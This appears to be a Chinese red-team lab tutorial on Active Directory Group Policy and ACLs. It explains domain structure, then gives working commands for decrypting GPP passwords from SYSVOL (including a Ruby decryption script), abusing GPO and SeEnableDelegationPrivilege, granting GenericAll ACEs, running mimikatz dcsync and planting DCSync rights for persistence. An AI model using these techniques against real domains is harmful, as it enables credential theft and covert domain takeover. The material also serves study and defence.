內網滲透|域內的組策略和ACL
0x00 本地域環境
vm單獨添加一個網卡用來進行域環境隔離。
機器配置:
windows server 2016(DC):192.168.11.16 (administrator) windows server 2008(IT) :192.168.11.8 (itsec) windows 7(jack-PC) :192.168.11.7 (jack)
添加redteam\jack到win7的遠程桌面組。

0x01 什么是AD DS域
ADDS可以理解為跟DNS,DHCP一樣是集成在Windows Server中的一個角色功能,AD DS域是用來管理用戶,計算機,組和其他對象的邏輯容器。AD DS 數據庫存儲所有域對象,每個域控制器存儲數據庫的副本。

0x02 什么是OU
OU 是用戶、組和計算機的容器對象,它提供了一個通過鏈接組策略對象 (GPO) 來委托管理權限和管理的框架。
創建OU有多個原因:1.可以通過組策略對象(GPO)集中進行管理 2.可以在OU上分配管理權限給其他用戶來進行委派。
0x03 泛型容器
OU 和容器之間的主要區別在于管理功能。容器的管理功能有限。例如,不能將 GPO 直接應用于容器。
默認情況下,安裝 AD DS 會創建域控制器 OU 和多個泛型容器對象。AD DS 主要使用其中一些默認隱藏的默認對象。如圖:
域redteam.local:層次結構。

內置容器:存放默認組。

計算機容器:在域中創建的新計算機帳戶的默認位置

域控制器:域控機器在的默認組

**外部安全主體容器:**在本地 AD DS 域中添加的本地 AD DS 域外部的域中的受信任對象的默認位置。 托管服務賬戶容器: 托管服務帳戶的默認位置。AD DS 在托管服務帳戶中提供自動密碼管理。
用戶容器:在域中創建的新用戶帳戶和組的默認位置。

0x04 組策略
組策略可以控制用戶帳戶和計算機帳戶的工作環境。

組策略鏈接:可以看到右邊的作用域路徑是整個redteam.local也就是說在這個域內的所有計算機,用戶都會搜到影響。

右鍵保存報告可以看到一些配置內容

可以通過組策略編輯器來修改

策略是受管理的、強制實施的。而組策略首選項則是不受管理的、非強制性的。
每條組策略都是儲存在域里面的一個對象我們稱之為GPO,每一個GPO都有一個唯一ID。

GPO分為GPC和GPT:GPO:組策略對象。GPC:組策略容器。GPT:組策略模板。
GPC:包含了GPO的屬性,本身的配置信息,版本等等。可以通過GPC訪問GPT數據儲存位置和版本。GPT:一個具有結構層次的共享目錄,存放于域控中,包含所有的組策略信息。包括管理模板,安全,腳本,軟件安裝等。gpo的信息量比較大,這也是gpo將gpc與其分開的原因。應為gpc存放于活動目錄中,活動目錄數據大會對性能及網絡造成影響。
通過AD Explorer查看GPC

gPCFileSysPath鏈接到GPT,基本上組策略的配置信息都在GPT里面

當某個對象應用了某個指定的組策略時,該對象的 gPLink 屬性將包含指向該組策略容器的完整DN。
GPT位于域控的
C:\Windows\SYSVOL\sysvol\redteam.local\Policies

Macheine目錄:包含針對計算機的策略配置。User目錄:包含針對用戶的策略配置。GPT.ini文件:該組策略對象的一些配置信息(如版本信息、策略名稱)。
4.1 SYSVOL
域內有個密碼難題,域內大量機器為了安全都會修改密碼,標準做法就是組策略批量設置本地administrator密碼。但是這樣會出現一個問題就是密碼都統一了。解決辦法之一就是通過認證數據采取SYSVOL,這個是AD里面一個儲存公共文件服務器副本的共享文件夾。所有認證用戶都可以讀取,SYSVOL包括登錄腳本,組策略數據,以及其他域控所需要的域數據,這是因為SYSVOL能在所有域控里進行自動同步和共享。

首先創建組策略red再編輯,update本地用戶administrator為admin


然后強制更新組策略:
gpupdate /force
密碼會保存在
C:\Windows\SYSVOL\domain\Policies\GPO ID\Machine\Preferences\Groups\Groups.xml
1.powershell
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
2.msf
use post/windows/gather/credentials/gpp set session 1 run
3.ruby解密腳本
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "Yw6hqEEKPZtyKUXpWd5UhxEZ13DAe64s9w8U7Sq55uw"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
4.2 組策略利用
1.批量下發軟件 當我們拿下域控,可能某些機器設置了445等端口不可入acl無法到達目標機器。可以通過組策略下發軟件。msf生成msi文件然后下發

2.計劃任務

3.SeEnableDelegationPrivilege權限
還可以給用戶設置SeEnableDelegationPrivilege權限,該權限作用是設置約束性委派。擁有該權限可以任意設置一臺主機的約束性委派,如果控了一個SeEnableDelegationPrivilege權限的用戶基本上等于拿下了整個域。

域一般有兩個默認的GPO:Default Domain Policy和Default Domain Controllers Policy他們的GUID分別為:{31B2F340-016D-11D2-945F-00C04FB984F9}和{6AC1786C-016F-11D2-945F-00C04fB984F9}


來查找Default Domain Controllers Policy策略的位置
Get-DomainGPO -Identity "Default Domain Controllers Policy"

\\redteam.local\sysvol\redteam.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
查看下GptTmpl.int
type \\redteam.local\sysvol\redteam.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

"S-1-5-32-544" | Convert-SidToName

我們給普通用戶設置SeEnableDelegationPrivilege權限
修改
C:\Windows\SYSVOL\sysvol\redteam.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf

把要添加的用戶的sid添加到SeEnableDelegationPrivilege然后刷新組策略
gpupdate /force
或者通過UserRight
Grant-UserRight -Account hack -Right SeEnableDelegationPrivilege Get-AccountsWithUserRight -right SeEnableDelegationPrivilege

這里我們可以添加對指定用戶的完全訪問權限,這里以itsec為例:

itsec的guid為:
5100c627-f060-498d-b05d-c36548967878
執行:
Add-DomainObjectAcl -TargetIdentity '5100c627-f060-498d-b05d-c36548967878' -PrincipalIdentity hack -Rights All
驗證權限
Get-DomainObjectAcl -Identity itsec | ?{$_.SecurityIdentifier -match "S-1-5-21-151877218-3666268517-4145415712-1123"}

可以看到hack以及對itsec有完全訪問權限GenericAll。我們可以通過hack用戶強制給itsec用戶注冊spn,或者修改密碼。
0x05 ACL
當用戶登錄時,系統會驗證用戶的帳戶名和密碼。如果登錄成功,系統會創建一個訪問令牌。代表此用戶執行的每個進程都將擁有此訪問令牌的副本。訪問令牌包含標識用戶帳戶和用戶所屬的任何組帳戶的安全描述符。令牌還包含用戶或用戶組擁有的權限列表。當進程嘗試訪問安全對象或執行需要特權的系統管理任務時,系統使用此令牌來識別關聯的用戶。
windows訪問控制模型是由兩部分組成:
訪問令牌:包含用戶的sid,以及特權列表。安全描述符:被訪問的安全對象的相關安全信息。
安全描述符是與被訪問對象關聯的,它包含有這個對象的所有者的sid,以及一個訪問控制列表(ACL)。
創建安全對象時,系統會為其分配一個安全描述符,該描述符包含其創建者指定的安全信息,如果未指定,則為默認安全信息。應用程序可以使用函數來檢索和設置現有對象的安全信息。
安全描述符標識對象的所有者,還包含了一個自由訪問控制列表(DACL)和一個系統訪問控制列表(SACL) DACL:用于標識允許或拒絕訪問對象的用戶和組 SACL:用于控制系統審計嘗試訪問對象的方式

ACL訪問控制列表由一些列訪問控制實體組成,每個ACE可以看作是配置一條訪問策略。每個 ACE 指定一組訪問權限并包含一個 SID,用于標識允許、拒絕或審核其權限的受托著。受托人可以是用戶帳戶、組帳戶或登錄會話。
大體的流程是。當對象A來訪問B的時候,A會出示自己的Access Token,然后包含自己的用戶sid, 自己所在的組的sid,以及特權列表。B這個安全對象,有自己的ACL。B首先判斷是不是需要特權才能訪問,如果需要特權,則查看A的Access Token看有沒有那個特 權。B通過A的Access Token,來判斷A的用戶 sid以及組sids,跟自己的ACL做比對,來判斷是否讓A 進行訪問。如下圖:表示了A組成員都繼承了A組允許的權限:寫入權限和繼承了Everyone對該對象的讀取和執行權限,額外的是Andrew,就算他是Everyone組的成員但是被拒絕訪問的ACE拒絕訪問。

一條ACE一般分為四個方面:1.誰對你有權限。2.有什么權限。3.是允許還是拒絕。4.這個權限能否被繼承。
權限可以分為:通用權限,對某個屬性的權限,拓展權限。1.通用權限:對這個條目的通用權限。2.對某個屬性的權限:一個條目包含若干個屬性。3.拓展權限:存放于CN=Add-GUID,CN=Extended-Rights,CN=Configuration,DC=redteam,DC=loca,值在rightsGuid里面。
ACL主要有兩個作用:1.用戶能不能訪問安全對象(DACL) 2.用戶是否訪問成功,日志記錄功能(SACL)
右鍵任意文件或者文件夾屬性,安全,高級,權限可以看到該文件或者文件夾的DACL。


再點擊任何一條DACL可以看到該條DACL的ACE。


PS C:\Users> Get-Acl C:\users\administrator | fl
Path : Microsoft.PowerShell.Core\FileSystem::C:\users\administrator
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
REDTEAM\Administrator Allow FullControl
Audit :
Sddl : O:SYG:SYD:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;LA)
還可以通過icacls來查看修改acl

R 讀取 W 寫入 C 更改(寫入) F 完全控制 CI - 容器繼承。 ACE 會由目錄繼承。 OI - 對象繼承。 ACE 會由文件繼承。 IO - 只繼承。 ACE 不適用于當前文件/目錄。 ID - 已繼承。 ACE 從父目錄的 ACL 繼承。
5.1 dcsync
在域內不同DC會進行域內數據同步,通過Directory Replication Service(DRS)服務的GetNCChanges接口向域控發起數據同步請求。
打開高級功能然后點擊屬性->安全


把Everyone設置為完全控制,那么隨便一個賬號都能直接dscync
mimikatz.exe "lsadump::dcsync /domain:redteam.local /user:administrator" "exit" > 1.txt

使用dcsync權限維持:取消Everyone的完全控制權限,創建hack1用戶

向域內普通用戶添加如下三條ACE(Access Control Entries):DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c) 我們可以使用Empire下的 powerview.ps1 腳本執行命令添加以上三條ACE。給域用戶hack1添加以上三條ACE
Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity hack1 -Rights DCSync -Verbose

可以看到執行成功

然后給hack1賬戶刪除以上三條acl
Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity hack1 -Rights DCSync -Verbose

再次失敗
